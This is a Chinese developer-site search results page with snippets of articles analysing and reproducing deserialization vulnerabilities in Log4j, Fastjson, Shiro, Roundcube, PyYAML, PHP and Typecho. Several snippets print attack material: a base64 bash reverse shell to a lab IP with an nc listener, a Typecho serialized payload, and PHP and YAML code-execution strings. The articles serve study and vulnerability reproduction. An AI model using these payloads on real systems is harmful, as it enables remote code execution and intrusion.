首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏安全小圈

    log4j反序列化漏洞分析

    但该漏洞遇到的比较少,就算一些cms中log4j组件版本存在漏洞,该漏洞需要使用SimpleSocketServer开启端口才能够接受socket中的数据进行反序列化操作,从而才能利用。 0x01 log4j 漏洞简介 漏洞简介 log4j用的其实还是比较多,记录一些Java的日志,这个相信接触过Java的都知道,在此不做多的赘诉。 漏洞版本:CVE-2019-17571 1.2.4 <= Apache Log4j <= 1.2.17 漏洞原因是因为调用SimpleSocketServer.main开启一个端口,进行接受数据,进行反序列化操作 0x02 log4j 反序列化分析 漏洞复现 配置漏洞代码 import org.apache.log4j.net.SimpleSocketServer; public class log4j { github地址:https://github.com/nice0e3/log4j_POC 动动小手点点start 0x04 结尾 log4j的反序列化漏洞比较简单,而类似于这种反序列化工具原理其实差不多

    3.1K30发布于 2021-05-28
  • 来自专栏从码农的全世界路过

    序列化漏洞

    这几天网上又报出来Dubbo的一个反序列化漏洞,一时间Dubbo又被推上了风口浪尖,对dubbo本身也褒贬不一. 漏洞报告地址如下,有兴趣的可以自己研究下: https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html 其实在2月份就有相似的漏洞报出来了 ,漏洞地址如下: https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html 我们抛开Dubbo不提,看看反序列化漏洞到底是什么样的? 序列化: 序列化是将Java对象转换成二进制字节,这些字节可以保存到磁盘上, 也可以通过网络传输,发送到其他服务上. 调用方法: ObjectOutputStream.writeObject(Object) 反序列化: 与序列化相反,是将二进制字节转换成Java对象 调用方法: ObjectInputStream.readObject

    50110编辑于 2022-06-20
  • 来自专栏谢公子学安全

    Web漏洞 | JAVA反序列化漏洞

    Apache Commons Collections 反序列化漏洞payload JAVA Web反序列化漏洞的挖掘和利用 由于本人并非JAVA程序员,所以对JAVA方面的知识不是很懂 本文参照几位大佬的博客进行归纳总结,给大家阐述了JAVA反序列化漏洞的原理以及Payload的构造,文章末尾会放出参考链接。 Part 1 反序列化漏洞 JAVA反序列化漏洞到底是如何产生的? out.flush(); out.close(); } } Part 4 JAVA Web反序列化漏洞的挖掘和利用 1: (2)再考察应用的Class Path中是否包含Apache Commons Collections库    (3)生成反序列化的payload    (4)提交我们的payload数据 参考文章:Java Java反序列化漏洞通用利用分析 Java反序列化漏洞分析 Commons Collections Java反序列化漏洞深入分析

    1.2K10编辑于 2022-01-13
  • 来自专栏网络安全615

    漏洞复现 - - - Fastjson反序列化漏洞

    序列化:将字节转化成对象的过程 作用:将序列组成的字节,转换为对象。 对象序列化就是将对象的数据复制一个一模一样的对象(个人理解) 4.  Fastjson漏洞产生原因 反序列化之后的数据本来是没有危害的,但是用户使用可控数据是有危害的 漏洞信息: fastjson 1.2.24 反序列化导致任意命令执行漏洞:fastjson在解析json Fastjson 1.2.47 远程命令执行漏洞:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令 服务器 java -cp fastjson_tool.jar fastjson.HLDAPServer 10.1.1.148 1234 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEuMS4xNDgvMjMzMyAwPiYx 3.监听端口 nc -lvvp 2333   4.使用bp 将抓到的请求修改为POST请求。

    2.4K20编辑于 2022-11-19
  • 来自专栏全栈程序员必看

    Java安全之log4j反序列化漏洞分析

    Java安全之log4j反序列化漏洞分析 0x00 前言 前段时间在看某个cms代码的时候,发现log4j组件版本存在漏洞,并且开启了端口,但web站点是nginx反向代理的,而在外网并没有开放到该端口 但该漏洞遇到的比较少,就算一些cms中log4j组件版本存在漏洞,但是该漏洞需要使用SimpleSocketServer开启端口才能够接受socket中的数据进行反序列化操作,从而才能利用。 漏洞版本:CVE-2019-17571 1.2.4 <= Apache Log4j <= 1.2.17 漏洞原因是因为调用SimpleSocketServer.main开启一个端口,进行接受数据,进行反序列化操作 0x02 log4j 反序列化分析 漏洞复现 配置漏洞代码 import org.apache.log4j.net.SimpleSocketServer; public class log4j { github地址:https://github.com/nice0e3/log4j_POC 动动小手点点star 0x04 结尾 log4j的反序列化漏洞比较简单,而类似于这种反序列化工具原理其实差不多

    1.1K40编辑于 2021-12-13
  • 来自专栏火山信安实验室

    漏洞通报】反序列化代码执行漏洞

    漏洞情况近期,火山信安实验室监测到在Roundcube Webmail 中 upload.php 文件的一个反序列化代码执行漏洞。该漏洞序号为CVE-2025-49113属于高危漏洞。 CVE-2025-49113 是 Roundcube Webmail 中 upload.php 文件的一个反序列化代码执行漏洞。 该漏洞源于对用户输入的 _from 参数未进行严格校验,导致攻击者可以通过构造恶意序列化数据触发反序列化操作,进而执行任意代码,从而可能完全控制受影响的 Roundcube 实例。 0x01漏洞利用方式攻击者通过构造恶意输入修改HTTP请求中的 _from 参数,插入恶意序列化数据。 当 Roundcube 处理该请求时,upload.php 会对 _from 参数进行反序列化操作,导致恶意代码被执行。攻击者可以利用反序列化漏洞执行系统命令、读取敏感文件或进行其他恶意操作。

    37400编辑于 2025-09-05
  • 来自专栏网络信息安全

    漏洞复现】Apache Shiro 反序列化漏洞

    Apache Shiro 反序列化漏洞 shiro漏洞已经曝光很久了,一直没有整理思路与详细步骤,最近在学习java的反序列化,复现该漏洞来方便之后的学习 一、简介 Apache Shiro是一款开源企业常见 ,最终造成反序列化漏洞。 但是一些开源的项目内部集成了shiro的二次开发,可能会有低版本shiro的默认秘钥的风险,一些用户搭建环境时会使用网上的教程来快速搭建,直接复制了网上的秘钥,从而造成了秘钥的泄密,引发了反序列化漏洞。 cookie可控,从而引发反序列化漏洞。 print(e) if __name__ == '__main__': encode_rememberme(sys.argv[1]) 五、Shiro rememberMe反序列化漏洞

    4.4K10编辑于 2024-03-12
  • 来自专栏yuancao博客

    php反序列化漏洞

    在说php反序列化漏洞之前,先讲讲什么是类,什么是对象,什么是函数 什么是类 类的概念:类是具有相同属性和操作的一组对象的集合。 ()序列化函数 定义 序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中 说了这么多,什么是反序列化漏洞呢? 当一个被序列化的对象,反序列化回去的时候,触发了魔术方法。而调用魔术函数时,传进去的值是用户可控的。 再说简单一点,就是服务器接收了攻击者上传的反序列化过的字符串,未经严格过滤,就把其中的变量作用到魔法函数里面,从而产生了预料之外的结果,造成的漏洞 演示 这里以wakeup()函数为例: mydx.php un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:54:"file_put_contents('cy.php','<?

    1.2K42发布于 2020-09-01
  • 来自专栏很菜的web狗

    PHP反序列化漏洞

    用的时候在反序列化出来就ok了 O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:" 18";} O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示 3 代表类名字占三个字符 ctf 类名 3 代表三个属性 s代表字符串 4代表属性名长度 flag属性名 s:13:"flag %00*%00属性名 private属性被序列化的时候属性值会变成%00类名%00属性名 可能有点难理解 这里我敲一下大家就懂了 O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar ctf 首先我们本地进行序列化后得到字符串 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 把1写成2 达到绕过wakeup()效果 拿到flag 找到一个 比较能总结这篇文章的题 $a = new Name('admin',100); $b = serialize($a); print_r($b); 得到序列化后的字符串为 O:4:"Name":2:{s:14:"Nameusername

    90220编辑于 2022-06-09
  • 来自专栏网络安全攻防

    PyYAML反序列化漏洞

    PyYAML<5.1 测试环境 这里使用PyYAML==4.2b4进程测试,PyYAML历史版本可以参考:https://pypi.org/project/PyYAML/#history ? 漏洞成因 通过跟踪$PYTHON_HOME/lib/site-packages/yaml/constructor.py文件,查看PyYAML源码可以得到其针对Python语言特有的标签解析的处理函数对应列表 该函数会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令~ 通用POC 经过上面的了解与验证,我们知道只要存在yaml.load()且参数可控,则可以利用yaml反序列化漏洞 漏洞修复 在PyYAML>=5.1版本中有两个补丁限制了反序列化内置类方法以及导入并使用不存在的反序列化代码: Path 1: ? Path 2: ? 要序列化数据,可以使用下面的安全函数: ?

    2.8K10发布于 2021-07-21
  • 来自专栏红队蓝军

    几种反序列化漏洞

    = php_serialize 时,Session格式:a:1:{s:4:"user";s:3:"xxx";}当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:先访问这个生成: a:1:{s:4:"user";s:37:"|O:1:"c":1:{s:4:"code";s:6:"whoami";}";}<? "code";s:6:"whoami";}';再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化<? phar:// 处理时会反序列化生成Payload<? }要求俩值相等,$this->a = &$this->b,这样b改了a也会一起改看似反序列化的题结果静态函数不需要对象字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com

    1.1K20编辑于 2023-09-13
  • 来自专栏LuckySec网络安全

    PHP反序列化漏洞

    0x001 漏洞产生原理   在反序列化的过程中自动触发了某些魔术方法。 以序列化对象格式为例 O:4:"info":2:{s:4:"name";i:2:"19";} 0x005 反序列化漏洞 1. XSS 漏洞示例demo2.php: <? 构造序列化值: O:4:"baby":1:{s:4:"file";s:8:"flag.php";} 利用序列化值构造POC: http://101.201.126.95:7003/index.php? 漏洞拓展   上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通成员方法中,该如何利用呢?  漏洞示例demo4.php: <? 构造如下序列化代码serialize-demo4.php: <?

    1K50编辑于 2022-11-02
  • 来自专栏Andromeda的专栏

    PHP反序列化漏洞

    > 输出结果为: O:4:"Demo":1:{s:4:"file";s:8:"test.php";} Demo Object ( [file] => test.php ) 序列化格式 布尔型 __isset()对不可访问或者不存在属性调用isset()或者empty()是被调用 __unset()对不可访问或不存在的属性进行unset()时被调用 反序列化漏洞 条件 unserialize ()函数的参数可控 php中有可以利用的类并且类中有魔术方法 漏洞成因 当传给unserialize()的参数可控时,就可以注入精心构造的payload,在进行反序列化是就可能触发对象中的一些魔术方法, 正则表达式完整教程 利用__wakeup()漏洞绕过 然后绕过__wakeup(),修改类的属性个数大于真是属性个数即可。 修改后的序列化结果如下: O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} 编码、构造payload 然后进行base64编码,注意不要忘记加上两个\x00

    1.5K40编辑于 2022-10-27
  • 来自专栏我的网安魔法之旅

    PyYaml反序列化漏洞

    Yaml是什么 YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。 ,就可以顺利导入该文件作为模块,执行当中的命令 首先写一个文件名为test.py的文件,内容如下 import os os.system('calc') 在触发漏洞的文件里 import yaml yaml.load python/object/new:test.aaaa {}' ) 如果写入的文件和触发漏洞的文件不在同一目录下 则需要加上目录,比如同级的uploads目录 yaml.load("!! 修复方法 1、按照官方推荐使用safe_load对于序列化内容进行加载。 2、检测加载文件头防止加载代码执行函数。 参考链接: PyYAML反序列化防御和ByPass | 柠檬菠萝 PyYAML反序列化漏洞 | DAMOXILAI 浅谈PyYAML反序列化漏洞 | Al1ex

    1.3K40编辑于 2023-05-16
  • 来自专栏betasec

    PHP序列化漏洞原理

    本文作者:cream(贝塔安全实验室-核心成员) PHP序列化漏洞原理 1、序列化(串行化) 2、反序列化(反串行化) 3、序列化实例分析 4、反序列化实例分析 5、祸起萧墙---Magic函数 5.1 PHP反序列化漏洞CTF练习题 7、防御PHP序列化漏洞 1、序列化(串行化) 将变量转换为可保存或传输的字符串的过程; 2、反序列化(反串行化) 在适当的时候把这个字符串再转化成原来的变量使用。 常见的php系列化和系列化方式主要有:serialize,unserialize;json_encode,json_decode。 和value,s表示是string对象,4表示长度,test是key,i表示是integer对象,123是value 4、反序列化实例分析 <? 6.2.2 漏洞介绍和复现 Typecho博客软件存在反序列化导致任意代码执行漏洞,恶意访问者可以利用该漏洞无限制执行代码,获取webshell,存在高安全风险。

    2.3K10发布于 2020-07-31
  • 来自专栏尚国

    PHP反序列化漏洞

    serialize:序列化 unserialize: 反序列化 简单解释: serialize 把一个对象转成字符串形式, 可以用于保存 unserialize 把serialize序列化后的字符串变成一个对象
    '; echo serialize($a); 上面例子是创建一个类, 并输出 filename的值 , 最后输出序列化字符串: ? 这里你可以看到, 我代码里的类定义为: class F, 这个序列化就是 F, 我定义变量名字是filename, 它这里也是 filename, 我们可以修改看看: ? 可以看到序列化后的变量名字变成 filenameF 了。 看下面代码: <? 下面这个代码中的类跟上面代码的类一样, 不同的地方是我们修改了filename的值, 并生成序列化字符串: <?

    92120发布于 2018-09-11
  • 来自专栏一滴水的眼泪

    Java反序列化漏洞

    Java反序列化漏洞通用利用分析 转自:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/ 背景 2015年11月6日,FoxGlove Java反序列化漏洞简介 序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。 漏洞利用实例 利用过程概述 首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。 Jenkins Jenkins是一个非常流行的CI工具,在很多企业的内网中都部署了这个系统,这个系统常常和企业的代码相关联,这次也受到了Java反序列化漏洞的影响,非常危险。

    1.4K30发布于 2020-09-21
  • 来自专栏TomatoCool

    PHP反序列化漏洞

    主要函数 # 将对象序列化后返回 serialize() # 将字符串反序列化后返回 unserialize() 魔术方法 方法名 触发条件 __construct 创建对象 __destruct 销毁对象 __sleep 序列化对象 __wakeup 反序列化得到对象 __invoke 以函数的形式调用对象 __toString 以字符串的形式调用对象(改方法返回值为字符串) __call 在对象上下文中调用不可访问的方法 从不可访问的属性中读取数据 __set 将数据写入不可访问的数据 __isset 在不可访问的属性上调用isset()或empty()方法 __unset 在不可访问的属性上使用unset()方法 技巧 当序列化字符串中的属性个数大于原本属性个数时

    37610编辑于 2023-07-30
  • 来自专栏博客原创文章

    Typecho反序列化漏洞

    简介 今儿复现一个陈年老漏洞,就说typecho的反序列化漏洞,可导致前台getshell,漏洞点在于文件夹下的install.php typecho是一个个人认为最清爽的一个cms,前端到后台一目了然 ,少了些繁杂的操作,安装过程也是一条龙,从安装到使用用不上5分钟,所以有需要建站的大佬们,可以尝试一下typecho 漏洞危害 可以直接getshell 漏洞复现 <? YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30 post data: __typechi_config= payload 如图所示↓ 输入完成后,直接发送请求,回到浏览器网页,如果发现变成了这样子↓ 则意味着复现成功,并且该网站存在这一个漏洞 修复建议 安装完typecho后,将install.php删除 升级版本 后言 我太菜了,不会代码审计,所以不做分析,如有需要,可以借鉴这篇文章《Typecho前台Getshell漏洞分析》 所有的漏洞复现文章在这里仅做学习测试使用

    3.6K10编辑于 2021-12-20
  • 来自专栏字节脉搏实验室

    搭建连平台检测oob漏洞

    NS1.NAMESERVER.COM/NS2.NAMESERVER.COM 这样payload.com的域名解析请求将由nameserver.com完成,同时将nameserver.com指向你的连平台 1.1.1.1 搭建连平台 https://github.com/Li4n0/revsuit/releases先运行一遍以便生成数据库和配置文件,修改config.yaml 在VPS 1.1.1.1

    1.6K30编辑于 2022-11-23
领券